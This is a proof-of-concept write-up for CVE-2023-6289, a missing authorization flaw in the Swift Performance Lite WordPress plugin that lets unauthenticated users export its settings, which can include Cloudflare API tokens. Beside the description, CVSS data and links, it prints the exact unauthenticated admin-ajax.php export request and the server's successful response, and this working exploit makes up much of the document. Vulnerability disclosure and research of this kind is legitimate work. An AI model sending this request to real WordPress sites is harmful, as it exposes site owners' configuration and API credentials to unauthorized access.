CVE-2023-6289 PoC — Swift Performance Lite <= 2.3.6.14 - Unauthenticated Configuration Export

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Associated Vulnerability

Description

Swift Performance Lite <= 2.3.6.14 - Missing Authorization to Unauthenticated Settings Export

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# CVE-2023-6289
Swift Performance Lite <= 2.3.6.14 - Missing Authorization to Unauthenticated Settings Export

### Description

The Swift Performance Lite plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the on functionality hooked via admin_init function in all versions up to, and including, 2.3.6.14. This makes it possible for unauthenticated attackers to export the settings of the plugin which can contain Cloudflare API tokens.

```
Severity: medium
CVE ID: CVE-2023-6289
CVSS Score: 5.3
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Plugin Slug: swift-performance-lite
WPScan URL: https://www.wpscan.com/plugin/swift-performance-lite
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/8321f68f-da2d-4382-979d-54008de2cae7?source=api-prod
SVN Diff: https://plugins.trac.wordpress.org/changeset/3001305/swift-performance-lite/trunk/includes/luv-framework/classes/class.fields.php
```

### POC

```
GET /wp-admin/admin-ajax.php?action=luv-action&luv-action=export HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Length: 2

```


```
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2023 20:06:11 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.32
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Content-disposition: attachment; filename=swift-performance-settings.json
Vary: Accept-Encoding
Content-Length: 3850
Connection: close
Content-Type: application/json; charset=UTF-8

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```

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